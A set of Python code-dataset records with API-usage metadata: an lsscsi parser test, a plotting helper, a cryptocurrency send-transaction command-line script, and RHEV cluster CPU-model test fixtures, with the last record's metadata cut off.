{"api_name": "os.listdir", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 116, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 119, "usage_type": "call"}]} {"seq_id": "18668734", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/insights/parsers/tests/test_lsscsi.py\n# Compiled at: 2019-05-16 13:41:33\nimport doctest, pytest\nfrom insights.parsers import lsscsi, ParseException\nfrom insights.tests import context_wrap\nLSSCSI_1 = '\\n[1:0:0:0] storage IET Controller 0001 -\\n[1:0:0:1] cd/dvd QEMU QEMU DVD-ROM 2.5+ /dev/sr0\\n[1:0:0:2] disk IET VIRTUAL-DISK 0001 /dev/sdb\\n[3:0:5:0] tape HP C5713A H910 /dev/st0\\n'\nLSSCSI_2 = '\\n[1:0:0:1] cd/dvd QEMU QEMU DVD-ROM 2.5+ /dev/sr0\\n'\nLSSCSI_3 = '\\n[1:0:0:1] cd/dvd QEMU QEMU DVD-ROM 2.5+ /dev/sr0\\n'\nLSSCSI_4 = '\\n[1:0:0:1] cd/dvd QEMU QEMU DVD-ROM 2.5+ /dev/sr0\\n[1:0:0:2] cd/dvd QEMU QEMU DVD-ROM 2.5+ /dev/sr1\\n[1:0:0:3] disk IET VIRTUAL-DISK 0001 /dev/sdb\\n[3:0:5:0] tape HP C5713A H910 /dev/st0\\n'\nLSSCSI_5 = '\\n[1:0:0:2] disk IET VIRTUAL-DISK 0001\\n[3:0:5:0] tape HP C5713A H910 /dev/st0\\n'\n\ndef test_lsscsi():\n scsi = lsscsi.LsSCSI(context_wrap(LSSCSI_1))\n assert len(scsi.data) == 4\n assert scsi[0] == {'Model': 'Controller', 'Vendor': 'IET', 'HCTL': '[1:0:0:0]', \n 'Peripheral-Type': 'storage', 'Primary-Device-Node': '-', \n 'Revision': '0001'}\n assert scsi[1]['Peripheral-Type'] == 'cd/dvd'\n assert ['-', '/dev/sr0', '/dev/sdb', '/dev/st0'] == scsi.device_nodes\n assert scsi[1]['Vendor'] == 'QEMU'\n assert ['IET', 'QEMU', 'IET', 'HP'] == scsi.device_vendors\n scsi = lsscsi.LsSCSI(context_wrap(LSSCSI_2))\n assert len(scsi.data) == 1\n assert scsi[0] == {'Model': 'QEMU DVD-ROM', 'Vendor': 'QEMU', 'HCTL': '[1:0:0:1]', \n 'Peripheral-Type': 'cd/dvd', 'Primary-Device-Node': '/dev/sr0', \n 'Revision': '2.5+'}\n scsi = lsscsi.LsSCSI(context_wrap(LSSCSI_3))\n assert len(scsi.data) == 1\n assert scsi[0]['Model'] == 'QEMU DVD-ROM'\n scsi = lsscsi.LsSCSI(context_wrap(LSSCSI_4))\n assert len(scsi.data) == 4\n assert len(scsi[0]) == 6\n\n\ndef test_bad_lsscsi():\n with pytest.raises(ParseException) as (e_info):\n lsscsi.LsSCSI(context_wrap(''))\n assert 'Empty content of command output' in str(e_info.value)\n with pytest.raises(ParseException) as (e_info):\n lsscsi.LsSCSI(context_wrap(LSSCSI_5))\n assert 'Invalid format of content, unparsable' in str(e_info.value)\n\n\ndef test_lsscsi_documentation():\n failed_count, tests = doctest.testmod(lsscsi, globs={'lsscsi': lsscsi.LsSCSI(context_wrap(LSSCSI_1))})\n assert failed_count == 0", "sub_path": "pycfiles/insights_core-3.0.160-py2.7/test_lsscsi.py", "file_name": "test_lsscsi.py", "file_ext": "py", "file_size_in_byte": 2726, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 17, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 17, "usage_type": "name"}, {"api_name": "insights.tests.context_wrap", "line_number": 17, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 26, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 26, "usage_type": "name"}, {"api_name": "insights.tests.context_wrap", "line_number": 26, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 31, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 31, "usage_type": "name"}, {"api_name": "insights.tests.context_wrap", "line_number": 31, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 34, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 34, "usage_type": "name"}, {"api_name": "insights.tests.context_wrap", "line_number": 34, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 40, "usage_type": "call"}, {"api_name": "insights.parsers.ParseException", "line_number": 40, "usage_type": "argument"}, {"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 41, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 41, "usage_type": "name"}, {"api_name": "insights.tests.context_wrap", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 43, "usage_type": "call"}, {"api_name": "insights.parsers.ParseException", "line_number": 43, "usage_type": "argument"}, {"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 44, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 44, "usage_type": "name"}, {"api_name": "insights.tests.context_wrap", "line_number": 44, "usage_type": "call"}, {"api_name": "doctest.testmod", "line_number": 49, "usage_type": "call"}, {"api_name": "insights.parsers.lsscsi", "line_number": 49, "usage_type": "argument"}, {"api_name": "insights.parsers.lsscsi.LsSCSI", "line_number": 49, "usage_type": "call"}, {"api_name": "insights.tests.context_wrap", "line_number": 49, "usage_type": "call"}]} {"seq_id": "133696466", "text": "#\n# Plots and other visuals.\n#\n# Ideas for future versions:\n# - candlestick plots?\n# http://matplotlib.org/examples/pylab_examples/finance_demo.html\n#\nimport os\nimport datetime\nimport re\n\nimport matplotlib.pyplot as plt\n\nclass Plot:\n PATH_PREFIX = \"results/\"\n path = \"\"\n\n def __init__(self):\n pass\n\n def plot_results(self, state, strategy_name):\n df = state.get_df()\n\n dt = datetime.datetime.now()\n path = \"{0}{1}_{2}_{3}/\".format(self.PATH_PREFIX, strategy_name,\n state.get_ticker(),\n str(dt).replace(\" \", \"_\")[:19])\n\n forbidden_chars = re.compile(\"[ :\\^]\")\n path = forbidden_chars.sub('', path)\n\n if not os.path.exists(path):\n os.mkdir(path)\n\n self.path = path\n self._plot_linechart(df, strategy_name)\n\n def _plot_linechart(self, df, strategy_name):\n fig, ax = plt.subplots(1, 1, figsize=(8,6))\n\n plt.title(strategy_name)\n\n df[['Close']].plot(ax=ax)\n plt.legend(loc=2) # Top left\n df[['OwnValue']].plot(ax=ax, secondary_y=True)\n plt.legend(loc=4) # Bottom right\n\n plt.savefig(self.path + \"/linechart.png\")\n\n", "sub_path": "smss/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 1227, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}]} {"seq_id": "112013529", "text": "import argparse\nimport aiorpcx\nimport asyncio\nimport sys\nfrom getpass import getpass\nfrom cryptos.main import privtopub, compress\nfrom cryptos.transaction import serialize\nfrom typing import Callable, Any, Optional\nfrom cryptos.script_utils import get_coin, coin_list\n\n\nasync def run_in_executor(func: Callable, *args) -> Any:\n return await asyncio.get_running_loop().run_in_executor(None, func, *args)\n\n\nasync def get_confirmation() -> bool:\n result = await run_in_executor(input, \"Send this transaction? (Y/N): \")\n return any(r == result.lower() for r in (\"y\", \"yes\"))\n\n\nasync def send(coin: str, testnet: bool, addr: str, to: str, amount: int,\n fee: float = None, change_addr: Optional[str] = None, privkey: Optional[str] = None):\n coin = get_coin(coin, testnet=testnet)\n tx = await coin.preparetx(addr, to, amount, fee=fee, change_addr=change_addr)\n print(serialize(tx))\n print(tx)\n privkey = privkey or await run_in_executor(getpass, \"Enter private key to sign this transaction\")\n if coin.is_native_segwit(addr):\n expected_addr = coin.privtosegwitaddress(privkey)\n elif coin.is_p2sh(addr):\n expected_addr = coin.privtop2wpkh_p2sh(privkey)\n elif coin.is_p2pkh(addr):\n expected_addr = coin.privtoaddr(privkey)\n elif len(addr) == 66:\n expected_addr = compress(privtopub(privkey))\n else:\n expected_addr = privtopub(privkey)\n try:\n assert expected_addr == addr\n except AssertionError:\n raise AssertionError(f'Private key is for address {expected_addr}, not {addr}')\n tx = coin.signall(tx, privkey)\n print(serialize(tx))\n print(tx)\n if args.yes or await get_confirmation():\n try:\n result = await coin.pushtx(tx)\n print(f'Transaction broadcasted successfully {result}')\n except (aiorpcx.jsonrpc.RPCError, aiorpcx.jsonrpc.ProtocolError) as e:\n sys.stderr.write(e.message.upper())\n else:\n print('Transaction was cancelled')\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"addr\", help=\"Send from this address\")\n parser.add_argument(\"to\", help=\"Send to this address\")\n parser.add_argument(\"amount\", help=\"Amount to send\", type=int)\n parser.add_argument(\"-c\", \"--change\", help=\"Address for change, otherwise from address\")\n parser.add_argument(\"-f\", \"--fee\", help=\"Fee\", type=float)\n parser.add_argument(\"-x\", \"--coin\", help=\"Coin\", choices=coin_list, default=\"btc\")\n parser.add_argument(\"-t\", \"--testnet\", help=\"For testnet\", action=\"store_true\")\n parser.add_argument(\"-p\", \"--privkey\", help=\"Private Key\")\n parser.add_argument(\"-y\", \"--yes\", help=\"Confirm\", action=\"store_true\")\n args = parser.parse_args()\n asyncio.run(send(args.coin, args.testnet, args.addr, args.to, args.amount,\n args.fee, args.change, args.privkey))\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "crypto_scripts/cryptosend.py", "file_name": "cryptosend.py", "file_ext": "py", "file_size_in_byte": 2915, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.Callable", "line_number": 12, "usage_type": "name"}, {"api_name": "asyncio.get_running_loop", "line_number": 13, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "cryptos.script_utils.get_coin", "line_number": 23, "usage_type": "call"}, {"api_name": "cryptos.transaction.serialize", "line_number": 25, "usage_type": "call"}, {"api_name": "getpass.getpass", "line_number": 27, "usage_type": "argument"}, {"api_name": "cryptos.main.compress", "line_number": 35, "usage_type": "call"}, {"api_name": "cryptos.main.privtopub", "line_number": 35, "usage_type": "call"}, {"api_name": "cryptos.main.privtopub", "line_number": 37, "usage_type": "call"}, {"api_name": "cryptos.transaction.serialize", "line_number": 43, "usage_type": "call"}, {"api_name": "aiorpcx.jsonrpc", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 50, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 50, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 56, "usage_type": "call"}, {"api_name": "cryptos.script_utils.coin_list", "line_number": 62, "usage_type": "name"}, {"api_name": "asyncio.run", "line_number": 67, "usage_type": "call"}]} {"seq_id": "284445643", "text": "#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport pytest\n\nimport config\nimport rhevmtests.compute.virt.helper as virt_helper\nfrom art.rhevm_api.utils.test_utils import wait_for_tasks\nfrom art.rhevm_api.tests_lib.low_level import (\n vms as ll_vms,\n clusters as ll_clusters,\n hosts as ll_hosts,\n)\nfrom art.unittest_lib import testflow\n\n\n@pytest.fixture(scope=\"class\")\ndef set_cpu_model_param(request):\n \"\"\"\n Set the following cluster cpu parameters:\n cluster_name, cluster_cpu_model, max_host_cpu, min_host_cpu,\n higher_cpu_model, lower_cpu_model,highest_common_cpu_model\n \"\"\"\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_NAME] = config.CLUSTER_NAME[0]\n\n cluster_object = ll_clusters.get_cluster_object(\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_NAME]\n )\n cluster_hosts_dict = virt_helper.get_cluster_hosts_resources(\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_NAME]\n )\n cluster_hosts_resources = [h for h in cluster_hosts_dict.itervalues()]\n\n testflow.setup(\"Get cluster cpu model\")\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_MODEL] = (\n cluster_object.get_cpu().get_type()\n )\n\n testflow.setup(\"Get the max host cpu model of all hosts in the cluster\")\n config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU] = (\n config.CPU_MODEL_DENOM.get_maximal_cpu_model(cluster_hosts_resources)\n )\n\n testflow.setup(\"Get the min host cpu model of all hosts in the cluster\")\n config.CLUSTER_CPU_PARAMS[config.MIN_HOST_CPU] = (\n config.CPU_MODEL_DENOM.get_minimal_cpu_model(cluster_hosts_resources)\n )\n\n testflow.setup(\n \"Get a cpu model which is higher than the max host cpu model in the \"\n \"cluster\"\n )\n config.CLUSTER_CPU_PARAMS[config.HIGER_CPU_MODEL] = (\n config.CPU_MODEL_DENOM.get_relative_cpu_model(\n config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu']\n )\n )\n\n testflow.setup(\n \"Get a cpu model which is lower than the min host cpu model in the \"\n \"cluster\"\n )\n config.CLUSTER_CPU_PARAMS[config.LOWER_CPU_MODEL] = (\n config.CPU_MODEL_DENOM.get_relative_cpu_model(\n cpu_name=config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_MODEL],\n higher=False\n )\n )\n testflow.setup(\"Set the highest commom cpu model\")\n config.CLUSTER_CPU_PARAMS[config.HIGHEST_COMMON_CPU_MODEL] = (\n virt_helper.highest_common_cpu_model_host_pair_from_cluster(\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_NAME]\n )\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef check_if_higher_cpu_model_tests_should_run(request):\n \"\"\"\n Set tests to skip in case the cluster's max host cpu model is the\n highest for it's vendor\n\n tests:\n 1.test_negative_start_vm_with_unsupported_cpu_type\n 2.test_edit_vm_update_cpu_type_higher_than_cluster\n \"\"\"\n testflow.setup(\n \"Set tests to skip in case the cluster's max host cpu model is the \"\n \"highest for it's vendor\"\n )\n if not config.CLUSTER_CPU_PARAMS[config.HIGER_CPU_MODEL]:\n pytest.skip(\"Skipping test, All cpu models are supported\")\n\n\n@pytest.fixture(scope=\"class\")\ndef check_if_no_high_cpu_host_tests_should_run(request):\n \"\"\"\n Check if there is a host with cpu model > minimal and skips relevant\n tests if not. Set a flag for new cluster creation if needed\n\n tests:\n 1.test_vm_with_cpu_different_from_cluster\n 2.test_run_once_with_cpu_different_from_cluster\n 3.test_vmpool_with_cpu__different_from_cluster\n 4.test_negative_migrate_vm_with_1_host_supporting_cpu_model\n 5.test_migrate_vm_with_custom_cpu_values_2_hosts_supporting\n 6.test_edit_vm_update_cpu_type_lower_than_cluster\n 7.test_run_once_with_cpu_type_lower_than_cluster\n 8.test_vm_with_cpu_type_lower_than_cluster\n \"\"\"\n\n cluster_lower = request.cls.cluster_lower\n testflow.setup(\n \"Check if there is a host with cpu model > minimal and skips relevant\"\n \"tests if not. Set a flag for new cluster creation if needed\"\n )\n if (\n config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu'] ==\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_MODEL]\n ):\n if not config.CLUSTER_CPU_PARAMS[config.LOWER_CPU_MODEL]:\n pytest.skip(\n \"Skipping test, All hosts have the\"\n \" minimum cpu model for the vendor\"\n )\n else:\n\n if cluster_lower:\n config.CLUSTER_UPDATED_CPU = (\n config.CLUSTER_CPU_PARAMS[config.LOWER_CPU_MODEL]['cpu']\n )\n elif (\n (not config.CLUSTER_CPU_PARAMS[config.LOWER_CPU_MODEL]) and\n (not cluster_lower)\n ):\n config.CLUSTER_UPDATED_CPU = (\n config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu']\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef check_if_no_several_hosts_with_high_cpu_tests_should_run(request):\n \"\"\"\n Set tests to skip in case there's no more than 1 host with max host\n cpu model\n\n tests:\n 1.test_migrate_vm_with_custom_cpu_values_2_hosts_supporting\n \"\"\"\n\n testflow.setup(\n \"Set tests to skip in case there's no two hosts with model\"\n \" higher than minimal \"\n )\n if not config.CPU_MODEL_DENOM.get_relative_cpu_model(\n cpu_name=(\n config.CLUSTER_CPU_PARAMS[config.HIGHEST_COMMON_CPU_MODEL]['cpu']\n ),\n higher=False\n ):\n pytest.skip(\n \"Skipping test, need more than one host with same\"\n \" cpu model higher than cluster\"\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef check_if_no_different_hosts_tests_should_run(request):\n \"\"\"\n Set tests to skip in case that all hosts in the cluster have the\n same cpu type\n\n tests:\n 1.test_pin_vm_with_custom_cpu_to_host\n \"\"\"\n\n testflow.setup(\n \"Set tests to skip in case that all hosts in the cluster have the same\"\n \" cpu type but not necessarily the same as the cluster\"\n )\n if (\n config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu'] ==\n config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu']\n ):\n pytest.skip(\n \"Skipping test, need at least 2 hosts in the cluster \"\n \"with different cpu model\"\n )\n\n\n@pytest.fixture()\ndef revert_ge_vm_to_default_values(request):\n \"\"\"\n Sets 1st GE vm back to default values and stops it if needed\n after test case.\n \"\"\"\n def fin():\n \"\"\"\n Sets 1st GE vm back to default values and stops it if needed after\n test case.\n \"\"\"\n result = list()\n testflow.teardown(\"Stopping VM: %s\", config.VM_NAME[0])\n result.append(ll_vms.stop_vms_safely([config.VM_NAME[0]]))\n testflow.teardown(\n \"set VM %s custom cpu model value to None\", config.VM_NAME[0]\n )\n result.append(\n ll_vms.updateVm(\n True,\n config.VM_NAME[0],\n custom_cpu_model='',\n placement_affinity=config.VM_MIGRATABLE,\n placement_host=config.VM_ANY_HOST,\n cpu_socket=1,\n memory=config.GB,\n max_memory=4 * config.GB,\n ballooning=True\n )\n )\n if len(ll_vms.get_vm_nics_obj(config.VM_NAME[0])) == 2:\n result.append(\n ll_vms.removeNic(\n True, config.VM_NAME[0], config.NIC_NAME[1]\n )\n )\n if len(ll_vms.get_disk_attachments(config.VM_NAME[0])) == 2:\n result.append(\n ll_vms.removeDisk(\n positive=True,\n vm=config.VM_NAME[0],\n disk=config.ADDITIONAL_DISK\n )\n )\n assert all(result)\n request.addfinalizer(fin)\n\n\n@pytest.fixture()\ndef deactivate_redundant_hosts(request):\n \"\"\"\n Checks if there are more than 1 hosts in the cluster with max available cpu\n model and deactivates all but one if there is.\n \"\"\"\n host_with_cpu_model = virt_helper.get_hosts_by_cpu_model(\n cpu_model_name=config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu'],\n cluster=config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_NAME]\n )\n\n def fin():\n \"\"\"\n Bring deactivated hosts back up\n \"\"\"\n if len(host_with_cpu_model) > 1:\n for host in host_with_cpu_model[1:]:\n testflow.setup(\"Activate host: %s\", host)\n assert ll_hosts.activate_host(True, host)\n request.addfinalizer(fin)\n testflow.setup(\n \"Check if there are more than 1 hosts with cpu model: %s in cluster: \"\n \"%s\", config.CLUSTER_CPU_PARAMS[config.MAX_HOST_CPU]['cpu'],\n config.CLUSTER_CPU_PARAMS[config.CLUSTER_CPU_NAME]\n )\n if len(host_with_cpu_model) > 1:\n for host in host_with_cpu_model[1:]:\n testflow.setup(\"Deactivate host: %s\", host)\n assert ll_hosts.deactivate_host(True, host)\n wait_for_tasks(\n engine=config.ENGINE,\n datacenter=config.DC_NAME[0],\n timeout=600\n )\n", "sub_path": "art/tests/rhevmtests/compute/virt/cluster_parameters_override/fixtures.py", "file_name": "fixtures.py", "file_ext": "py", "file_size_in_byte": 9090, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 24, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_NAME", "line_number": 24, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_NAME", "line_number": 24, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.clusters.get_cluster_object", "line_number": 26, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.clusters", "line_number": 26, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_NAME", "line_number": 27, "usage_type": "attribute"}, {"api_name": "rhevmtests.compute.virt.helper.get_cluster_hosts_resources", "line_number": 29, "usage_type": "call"}, {"api_name": "rhevmtests.compute.virt.helper", "line_number": 29, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 30, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_NAME", "line_number": 30, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 34, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 34, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 35, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_MODEL", "line_number": 35, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 39, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 39, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 40, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 40, "usage_type": "attribute"}, {"api_name": "config.CPU_MODEL_DENOM.get_maximal_cpu_model", "line_number": 41, "usage_type": "call"}, {"api_name": "config.CPU_MODEL_DENOM", "line_number": 41, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 44, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 44, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 45, "usage_type": "attribute"}, {"api_name": "config.MIN_HOST_CPU", "line_number": 45, "usage_type": "attribute"}, {"api_name": "config.CPU_MODEL_DENOM.get_minimal_cpu_model", "line_number": 46, "usage_type": "call"}, {"api_name": "config.CPU_MODEL_DENOM", "line_number": 46, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 49, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 49, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 53, "usage_type": "attribute"}, {"api_name": "config.HIGER_CPU_MODEL", "line_number": 53, "usage_type": "attribute"}, {"api_name": "config.CPU_MODEL_DENOM.get_relative_cpu_model", "line_number": 54, "usage_type": "call"}, {"api_name": "config.CPU_MODEL_DENOM", "line_number": 54, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 55, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 55, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 59, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 59, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 63, "usage_type": "attribute"}, {"api_name": "config.LOWER_CPU_MODEL", "line_number": 63, "usage_type": "attribute"}, {"api_name": "config.CPU_MODEL_DENOM.get_relative_cpu_model", "line_number": 64, "usage_type": "call"}, {"api_name": "config.CPU_MODEL_DENOM", "line_number": 64, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 65, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_MODEL", "line_number": 65, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 69, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 69, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 70, "usage_type": "attribute"}, {"api_name": "config.HIGHEST_COMMON_CPU_MODEL", "line_number": 70, "usage_type": "attribute"}, {"api_name": "rhevmtests.compute.virt.helper.highest_common_cpu_model_host_pair_from_cluster", "line_number": 71, "usage_type": "call"}, {"api_name": "rhevmtests.compute.virt.helper", "line_number": 71, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 72, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_NAME", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 17, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 87, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 87, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 91, "usage_type": "attribute"}, {"api_name": "config.HIGER_CPU_MODEL", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pytest.skip", "line_number": 92, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 77, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 113, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 113, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 118, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 118, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 119, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_MODEL", "line_number": 119, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 121, "usage_type": "attribute"}, {"api_name": "config.LOWER_CPU_MODEL", "line_number": 121, "usage_type": "attribute"}, {"api_name": "pytest.skip", "line_number": 122, "usage_type": "call"}, {"api_name": "config.CLUSTER_UPDATED_CPU", "line_number": 129, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 130, "usage_type": "attribute"}, {"api_name": "config.LOWER_CPU_MODEL", "line_number": 130, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 133, "usage_type": "attribute"}, {"api_name": "config.LOWER_CPU_MODEL", "line_number": 133, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_UPDATED_CPU", "line_number": 136, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 137, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 137, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 95, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 151, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 151, "usage_type": "name"}, {"api_name": "config.CPU_MODEL_DENOM.get_relative_cpu_model", "line_number": 155, "usage_type": "call"}, {"api_name": "config.CPU_MODEL_DENOM", "line_number": 155, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 157, "usage_type": "attribute"}, {"api_name": "config.HIGHEST_COMMON_CPU_MODEL", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pytest.skip", "line_number": 161, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 141, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 177, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 177, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 182, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 182, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 183, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 183, "usage_type": "attribute"}, {"api_name": "pytest.skip", "line_number": 185, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 167, "usage_type": "call"}, {"api_name": 